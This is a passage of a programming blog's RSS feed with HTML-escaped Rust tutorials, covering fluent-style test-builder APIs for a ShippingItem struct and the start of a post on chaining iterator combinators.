style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;certified: Some(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;false&lt;/span&gt;),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;..self&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;Option&lt;/code&gt;al lists provide something more of a challenge. We settled on a&#xA;two-method API, providing one method for replacing the contents with a&#xA;slice and one for adding a single item.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; with_contents(self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;contents: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;[InventoryObject])&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;contents: Some(contents.into()),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;..self&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; and_contents(self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;object: InventoryObject)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;contents&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.contents.unwrap_or(Some(Vec::new()));&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;contents.push(object);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;contents,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;..self&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can write our tests with this API! For example, let’s say we&#xA;wanted to test a shipping validation function. We can specify only the required&#xA;information, rather than all the possible fields.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#008080&#34;&gt;#[test]&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; same_sender_and_receiver_not_shippable()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;item&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ShippingItem::base(&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.with_sender(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Somebody T. Something&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.with_receiver(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Somebody T. Something&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;assert!(!item.validate());&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;conclusion-and-use-cases&#34;&gt;Conclusion and Use Cases&lt;/h2&gt;&#xA;&lt;p&gt;This technique isn’t for every project. The main drawback is that it&#xA;requires a fair amount of boilerplate for each struct, and that the&#xA;&lt;code&gt;::base()&lt;/code&gt; method needs an argument for every required item in the&#xA;struct (as opposed to a builder-style pattern).&lt;/p&gt;&#xA;&lt;p&gt;However, for any system in which you need to test a lot of computations&#xA;on a struct with a lot of optional fields, you should consider this&#xA;fluent-style testing pattern. It’s made our tests more readable, easier&#xA;to write, and easier to modify, and it can probably do the same for you.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Note: This post was written while I was working at CancerIQ as a software engineering&#xA;intern, and was also posted on their engineering blog. You can find it &lt;a href=&#34;http://engineering.canceriq.com/posts/building_readable_tests_with_fluent_testing_apis/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Chaining Fallible Operations with Combinators</title>
      <link>https://nora.codes/tutorial/chaining-fallible-operations-with-combinators/</link>
      <pubDate>Tue, 26 Jun 2018 12:54:53 -0500</pubDate>
      <guid>https://nora.codes/tutorial/chaining-fallible-operations-with-combinators/</guid>
      <description>&lt;p&gt;Rust&amp;rsquo;s &lt;a href=&#34;https://doc.rust-lang.org/std/iter/trait.Iterator.html&#34;&gt;Iterator&lt;/a&gt; trait is one of its most useful features. It allows lazy processing of item-by-item streams of anything from &lt;a href=&#34;https://doc.rust-lang.org/std/io/trait.Read.html#method.bytes&#34;&gt;the bytes of a file&lt;/a&gt; to &lt;a href=&#34;https://doc.rust-lang.org/beta/rust-by-example/std_misc/threads.html&#34;&gt;threads&lt;/a&gt; to complex and exotic data structures.&lt;/p&gt;&#xA;&lt;p&gt;Most of the useful functionality, though, is provided by combinators, functions that allow us to combine iterators and process them in useful ways. These include &lt;code&gt;map&lt;/code&gt;, &lt;code&gt;fold&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, and many other useful functions (including those from the excellent &lt;a href=&#34;https://docs.rs/itertools&#34;&gt;itertools&lt;/a&gt; crate).&lt;/p&gt;&#xA;&lt;h2 id=&#34;concision-and-clarity&#34;&gt;Concision and Clarity&lt;/h2&gt;&#xA;&lt;p&gt;Consider that we have the following functions which we&amp;rsquo;d like to apply to some list of numbers:&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Rust&amp;rsquo;s &lt;a href=&#34;https://doc.rust-lang.org/std/iter/trait.Iterator.html&#34;&gt;Iterator&lt;/a&gt; trait is one of its most useful features. It allows lazy processing of item-by-item streams of anything from &lt;a href=&#34;https://doc.rust-lang.org/std/io/trait.Read.html#method.bytes&#34;&gt;the bytes of a file&lt;/a&gt; to &lt;a href=&#34;https://doc.rust-lang.org/beta/rust-by-example/std_misc/threads.html&#34;&gt;threads&lt;/a&gt; to complex and exotic data structures.&lt;/p&gt;&#xA;&lt;p&gt;Most of the useful functionality, though, is provided by combinators, functions that allow us to combine iterators and process them in useful ways. These include &lt;code&gt;map&lt;/code&gt;, &lt;code&gt;fold&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, and many other useful functions (including those from the excellent &lt;a href=&#34;https://docs.rs/itertools&#34;&gt;itertools&lt;/a&gt; crate).&lt;/p&gt;&#xA;&lt;h2 id=&#34;concision-and-clarity&#34;&gt;Concision and Clarity&lt;/h2&gt;&#xA;&lt;p&gt;Consider that we have the following functions which we&amp;rsquo;d like to apply to some list of numbers:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; operation_one(a: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt; {&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;a&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; operation_two(a: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;b: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt; {&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;a&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;b&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; check(a: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;bool&lt;/span&gt; {&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;a&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That is, we want to apply &lt;code&gt;operation_one&lt;/code&gt; to every item, apply &lt;code&gt;operation_two&lt;/code&gt; to every pair of those results, and finally return only the results which satisfy the condition in &lt;code&gt;check&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Procedurally, that looks a bit like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; procedural(values: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;[&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;])&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Vec&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;temp&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Vec::with_capacity(values.len());&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;value&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;in&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;values&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;temp.push(operation_one(*value));&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;temp2&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Vec::with_capacity(values.len());&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;index&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;in&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;..temp.len()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;temp2.push(operation_two(temp[index&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;temp[index]));&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;temp3&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Vec::with_capacity(values.len());&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;value&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;in&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;temp2&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;check(value)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;temp3.push(value)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;temp3;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A function with that signature must allocate at least once (to have a &lt;code&gt;Vec&lt;/code&gt; to return), but this function has &lt;em&gt;three&lt;/em&gt; allocations, three mutable bindings, and is 19 lines long! Surely we can do better with functional programming:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;extern&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;crate&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;itertools;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// 0.7.8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;use&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;itertools::Itertools;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; functional(values: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;[&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;])&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Vec&amp;lt;&lt;span 